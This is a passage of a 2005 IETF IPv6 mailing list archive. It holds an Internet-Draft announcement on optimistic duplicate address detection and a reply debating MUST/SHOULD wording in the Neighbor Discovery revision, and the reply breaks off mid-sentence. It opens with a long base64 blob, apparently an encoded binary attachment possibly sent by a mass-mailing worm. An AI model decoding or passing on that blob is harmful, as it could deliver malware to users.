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 /+47///uO///7jv//+47///uO///7jv//+47///uOAAADjqqqq45VVVOOAAADj////4////+ H////AAAAAAAAAAAAAAAAAAAAAAAAAAA/////////////////////+AAAAPAAAABgAAAAIAA AACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAA gAAAAIAAAACAAAAAgAAAAIAAAADAAAAB4AAAA/////////////////////8oAAAAIAAAAEAA AAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAA gIAAAICAgADAwMAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAd3d3d3d3d3d3d3d3d3AAD4iIiIiIiIiIiIiIiIiHAA+I////////// /////4hwAPhwAAAAAAAAAAAAAAD4cAD4cP/////////////w+HAA+HD/////////////8Phw APhw//////////////D4cAD4cP/////////////w+HAA+HD/////////////8PhwAPhw//// //////////D4cAD4cP/////////////w+HAA+HD/////////////8PhwAPhw//////////// //D4cAD4cP/////////////w+HAA+HD/////////////8PhwAPhwAAAAAAAAAAAAAAD4cAD4 cI6Ojo6Ojo6Ojo6A+HAA+HDo6Ojo6Ojo6Ojo4PhwAPhwAAAAAAAAAAAAAAD4cAD4h3d3d3d3 d3d3d3d3iHAA+IiIiIiIiIiIiIiIiIhwAA//////////////////AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA/////////////////////+AAAAPAAAABgAAAAIAAAACAAAAAgAAAAIAA AACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAA gAAAAIAAAADAAAAB4AAAA/////////////////////8AAAAAAAAAAAAAAQACACAgAgABAAEA MAEAAAEAICAQAAEABADwAgAAAgCnIw0Zu18UN8UwXQDCMTNwr2agbyoXi5yud5ukRCYqEm5L EnfAUjKDg8MlL1wAPJVWNqRdL2gcpivAWkEqZayZTSpUE4Z3jwt0rMFHVDedITYgCA4qKFyt ehy9kW0Dj418XJlzlp4sYImwfbNJAy+kRDabQqwXR5xPJlg/gnYIb0oEbmhahb4qLIYqTrBq G2RRpgqTXxjFky+kQU61ZQaScL+0uHmaa5yaZb5RgGu4lQ4qdTm6wcAfGEkmNZlSq1HAWH84 f20NAC86OmZNGsKtl7ijY4k5Q5FMo6Q4mEd9aSCkO31pQRC8q3atOr2jfryRe61OmHp/UIOe K5plnFKfc28VYqlDcbwmdmpJKl4nogsQc2maSKZRum9xFYtmLYtbNQG7lYjDeBsZQkQiSbYQ hTJgv7SoQy1mAziFE5oJXK+Lfmq/SyiftodnrK8iwxk5KKQ1tzMGeQaPv6huIp8UlZZBSJo/ eIMNR21zXr1sEGEda20gizByWalRCcaNSEydWxsFEDjDdF+4Dx8hGY+rhVc4UW8bllELLoCN VJpxqXHFoYFFvnUvRZrBOTJubxgJclDCeFuegl5DrTO3HiifXoSfqXeyHHAovDqDFFsPPYgk vrBLUwsagDdlIH8CADuPujKdW3ChlLcXPcYgWjB6WgmJO2mFiLepniOxpLiFJURQBxgYPigx hXliA79twQINEAyvO5c1R4g3jLmep6YMLp+NBkdLTqHDSmdgFB0ZLgtEMqRjF6sMEJcUnboT EzgOAWoraLK1UooENBw1BmyangYVpmYOvbU9tnrDkFcDxlEJXrFrro8/w56gmyxOx7NcYikY P6djCLwJhQeNxRIOcw4omLguNAxFcFUkoJ4rfxImpFVaaLWttReyaGc0nSecTBMSlZpTVHur fCG4J7KcaZe4AAkYCQxXjhrGqyFknQVULn6JJWhcv6gObnW/grNZvSZ5n2grcBYNVQZnAHkH HplNgsMKSGWpPogjrKQRPUeEAWjGZCdypQoEL0ZbVLWlHQi9WKklGhSQarO0tpUUdL1abmCT J3GhJUgsPXgpGG9TTKNfu4gpqx66dbuZGRw7xEAAjZuxN3t8FHtQtycig3Q8EAtyAad3QUwa NjqGCWASE4uJD1CNGyATDZI0bz46nE4Qk7SYUhV7dVY7np0owJPDxgHDPhlzLk8tX69UcFY9 vISBwMZ1ZwRbUF7BpppLaauTqY2CDF+3NZuwU66OsnO/J2WHKzY4JhPFRbUVhigpQz29TrVA jrkhUTi0vT4+IBtwdqxOgSVTphhqELB0k4OQeIAIAsBefZqlEZh+hx+ZsCCbLrshQ30inJNI ScAXtAMDpm9IPzgDu5adoq60kC49tWRMjmsjTKm8kQKTAzwXul8Bk5/Dx5KVubwybqQZbiwt np8Ik161mXhJhhSUDnmvVCw1fKKgCl4UKIdqDUCqGw0yrIsDPwcOmXRNbq8JosGhGI9zvCez dwo4DnoAEU81sQqotq8bNhFeTnUUu4RCBRK4bq6YBaefb8aia50GeGuFwLVHFIeURZevEpMp J7JyNVQbILlbDL9SKIUEQXYDcrM8FCOQBCt1hykXTpCWSKam ----------mjcbllhtteuzldbijaow Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- ----------mjcbllhtteuzldbijaow-- From ipv6-bounces@ietf.org Tue Feb 15 13:30:35 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA09600 for ; Tue, 15 Feb 2005 13:30:34 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D17o9-0000Mi-F3 for ipv6-web-archive@ietf.org; Tue, 15 Feb 2005 13:52:25 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D15LJ-0005zq-2Z; Tue, 15 Feb 2005 11:14:29 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D14gy-000255-4e; Tue, 15 Feb 2005 10:32:48 -0500 Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA13915; Tue, 15 Feb 2005 10:32:46 -0500 (EST) Message-Id: <200502151532.KAA13915@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: i-d-announce@ietf.org From: Internet-Drafts@ietf.org Date: Tue, 15 Feb 2005 10:32:46 -0500 Cc: ipv6@ietf.org Subject: I-D ACTION:draft-ietf-ipv6-optimistic-dad-05.txt X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.4 (/) X-Scan-Signature: e1b0e72ff1bbd457ceef31828f216a86 --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Version 6 Working Group Working Group of the IETF. Title : Optimistic Duplicate Address Detection for IPv6 Author(s) : N. Moore Filename : draft-ietf-ipv6-optimistic-dad-05.txt Pages : 17 Date : 2005-2-14 Optimistic Duplicate Address Detection is an interoperable modification of the existing IPv6 Neighbor Discovery (RFC2461) and Stateless Address Autoconfiguration (RFC2462) process. The intention is to minimize address configuration delays in the successful case, to reduce disruption as far as possible in the failure case and to remain interoperable with unmodified hosts and routers. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ipv6-optimistic-dad-05.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ipv6-optimistic-dad-05.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ipv6-optimistic-dad-05.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2005-2-15103742.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ipv6-optimistic-dad-05.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ipv6-optimistic-dad-05.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2005-2-15103742.I-D@ietf.org> --OtherAccess-- --NextPart Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- --NextPart-- From ipv6-bounces@ietf.org Tue Feb 15 15:11:57 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA05216 for ; Tue, 15 Feb 2005 15:11:57 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D19O3-0008FA-8I for ipv6-web-archive@ietf.org; Tue, 15 Feb 2005 15:33:35 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D18eE-0008AN-Qa; Tue, 15 Feb 2005 14:46:14 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D17rk-0001H6-V8 for ipv6@megatron.ietf.org; Tue, 15 Feb 2005 13:56:09 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA18122 for ; Tue, 15 Feb 2005 13:56:07 -0500 (EST) Received: from netcore.fi ([193.94.160.1]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D18Cp-00032b-K7 for ipv6@ietf.org; Tue, 15 Feb 2005 14:17:57 -0500 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id j1FItRk30725; Tue, 15 Feb 2005 20:55:27 +0200 Date: Tue, 15 Feb 2005 20:55:27 +0200 (EET) From: Pekka Savola To: "Soliman, Hesham" In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.0 (/) X-Scan-Signature: 5011df3e2a27abcc044eaa15befcaa87 Cc: IPv6 WG Subject: RE: IPv6 WG Last Call:draft-ietf-ipv6-2461bis-01.txt X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 057ebe9b96adec30a7efb2aeda4c26a4 On Thu, 10 Feb 2005, Soliman, Hesham wrote: [lifetimes which decrement in real time] > > > > ==> AFAIK, the first option has not been implemented; I've > > > > at least not seen > > > > in done. Therefore unless someone shows that there are two > > > > implementations > > > > of this, this must be removed. (The same for > > > > AdvPreferredLifetime, and a bit > > > > in section 6.2.7.) > > => We were told this is implemented in Solaris I believe. One implementation is not sufficient for DS. However, even if there was a second implementation (probably yes) don't you think it's ridiculous that spec says MUST, while only one implementation has heeded that advice? I suggest making it a SHOULD or MAY so it better reflects the reality. This kind of disparity between implementations and specs is the exact reason for revising specs. These must be fixed IMHO. > > > > A proxy MAY multicast Neighbor Advertisements when > > its link-layer > > > > address changes or when it is configured (by system > > management or > > > > other mechanisms) to proxy for an address. If there > > are multiple > > > > nodes that are providing proxy services for the same set > > > > of addresses > > > > the proxies SHOULD provide a mechanism that prevents > > > > multiple proxies > > > > from multicasting advertisements for any one > > address, in order to > > > > reduce the risk of excessive multicast traffic. > > > > > > > > ==> does anyone implement this SHOULD? Note that this does not > > > > give hints how to even go about doing that. If not, remove. > > > > > => As mentioned earlier by Erik, this is a requirement on other specs > using proxy ND. MIPv6 is an example of such protocol. I think this makes > sense as a requirement. So let's keep it. Erik said, "As I said above, I think the MIPv6 RFC is the "implementation" in this case. But it does make sense to clarify that the text is about a requirement on other protocols which use proxy ND." A clarification would be fine by me. This is not a requirement 